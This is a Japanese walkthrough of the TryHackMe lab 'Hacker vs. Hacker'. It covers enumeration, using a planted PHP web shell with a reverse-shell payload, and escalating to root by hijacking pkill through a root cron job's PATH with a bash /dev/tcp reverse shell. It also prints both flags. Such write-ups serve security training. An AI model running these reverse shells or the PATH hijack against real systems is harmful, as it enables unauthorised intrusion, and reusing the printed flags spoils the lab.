概要
TryHackMe「Hacker vs. Hacker」のWalkthroughです。
Task1
Q1.What is the user.txt flag?
Hint.The hacker may have been a bit sloppy in their stealth measures...
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 10.10.93.193 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9f:a6:01:53:92:3a:1d:ba:d7:18:18:5c:0d:8e:92:2c (RSA)
| 256 4b:60:dc:fb:92:a8:6f:fc:74:53:64:c1:8c:bd:de:7c (ECDSA)
|_ 256 83:d4:9c:d0:90:36:ce:83:f7:c7:53:30:28:df:c3:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: RecruitSec: Industry Leading Infosec Recruitment
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.2p1 |
80 | http | Apache httpd 2.4.41 |
80
番ポートでWebサイトにアクセスできました。
ディレクトリ列挙を行います。
$ dirsearch -u http://10.10.93.193
[04:53:16] 301 - 310B - /css -> http://10.10.93.193/css/
[04:53:17] 301 - 310B - /cvs -> http://10.10.93.193/cvs/
[04:53:17] 200 - 26B - /cvs/
[04:53:19] 301 - 311B - /dist -> http://10.10.93.193/dist/
[04:53:19] 200 - 455B - /dist/
[04:53:30] 301 - 313B - /images -> http://10.10.93.193/images/
[04:53:30] 200 - 498B - /images/
[04:54:14] 200 - 335B - /upload.php
ファイルをアップロードする/upload.php
は書き換えられています。
元の処理はファイルが.pdf
か判定し、/cvs
ファイルへアップロードする機能のようです。
この場合、攻撃者が使用するテクニックは.pdf.php
のようなファイルをアップロードして拡張子の判定をバイパスする手法です。
サーバーではPHPが動作しているので、攻撃者はPHPのリバースシェルファイルをアップロードした可能性が高いです。
攻撃者がアップロードしたであろう.pdf.php
に予測を付け/cvs
配下をスキャンします。
$ dirsearch -u http://10.10.222.254/cvs -e .pdf.php
[11:31:30] 200 - 18B - /cvs/shell.pdf.php
/cvs/shell.pdf.php
がヒットしました。
シェルファイルはGETリクエストパラメータでコマンドを実行できることが多いです。
パラメータ名のファジングをします。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.222.254/cvs/shell.pdf.php?FUZZ=ls -ic -c -fs 18
cmd [Status: 200, Size: 43, Words: 1, Lines: 4, Duration: 241ms]
cmd
パラメータを発見しました。
パラメータを送信します。
?cmd=php%20-r%20%27$sock=fsockopen(%2210.6.55.144%22,1234);exec(%22bash%20%3C%263%20%3E%263%202%3E%263%22);%27
リバースシェルを張ります。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.222.254] 42840
ls
index.html
shell.pdf.php
/home/lachlan/user.txt
からフラグを入手できます。
thm{af7e46b68081d4025c5ce10851430617}
A.thm{af7e46b68081d4025c5ce10851430617}
Q2.What is the proof.txt flag?
Hint....and a bit sloppy in their automated kill scripts.
/home/lachlan/.bash_history
を確認するとlachlan
のパスワードがthisistheway123
だと分かりました。
./cve.sh
./cve-patch.sh
vi /etc/cron.d/persistence
echo -e "dHY5pzmNYoETv7SUaY\nthisistheway123\nthisistheway123" | passwd
ls -sf /dev/null /home/lachlan/.bash_history
しかし、SSH接続をするとログインは出来ましたが数秒後に接続が切られます。
$ ssh lachlan@10.10.222.254
lachlan@10.10.222.254's password:
Last login: Thu May 5 04:39:19 2022 from 192.168.56.1
$ pwdnope
Connection to 10.10.222.254 closed.
/home/lachlan/.bash_history
で見つけた/etc/cron.d/persistence
を確認するとスクリプトでプロセスが強制終了されています。
PATH=/home/lachlan/bin:/bin:/usr/bin
# * * * * * root backup.sh
* * * * * root /bin/sleep 1 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 11 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 21 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 31 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 41 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 51 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
PATH=/home/lachlan/bin:/bin:/usr/bin
を見ると/home/lachlan/bin
のパスから順にコマンドを参照している、pkill
が絶対パスで指定されていないことが分かります。
/home/lachlan/bin
にpkill
ファイルを作成した場合、/home/lachlan/bin/pkill
が実行されます。
/home/lachlan/bin/pkill
をリバースシェルのスクリプトとして作成します。
echo '#!/bin/bash' > /home/lachlan/bin/pkill && echo 'sh -i >& /dev/tcp/10.6.55.144/1234 0>&1' >> /home/lachlan/bin/pkill && chmod +x /home/lachlan/bin/pkill
事前にNetcatで待ち受けをします。
$ nc -lvnp 1234
SSH接続してプロセスがキルされる前にコマンドを入力します。
$ ssh lachlan@10.10.222.254
$ echo '#!/bin/bash' > /home/lachlan/bin/pkill && echo 'sh -i >& /dev/tcp/10.6.55.144/1234 0>&1' >> /home/lachlan/bin/pkill && chmod +x /home/lachlan/bin/pkill
$ nope
しばらくするとrootのシェルを取得できました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.222.254] 42862
sh: 0: can't access tty; job control turned off
# whoami
root
/root/root.txt
からフラグを入手できます。
thm{7b708e5224f666d3562647816ee2a1d4}
A.thm{7b708e5224f666d3562647816ee2a1d4}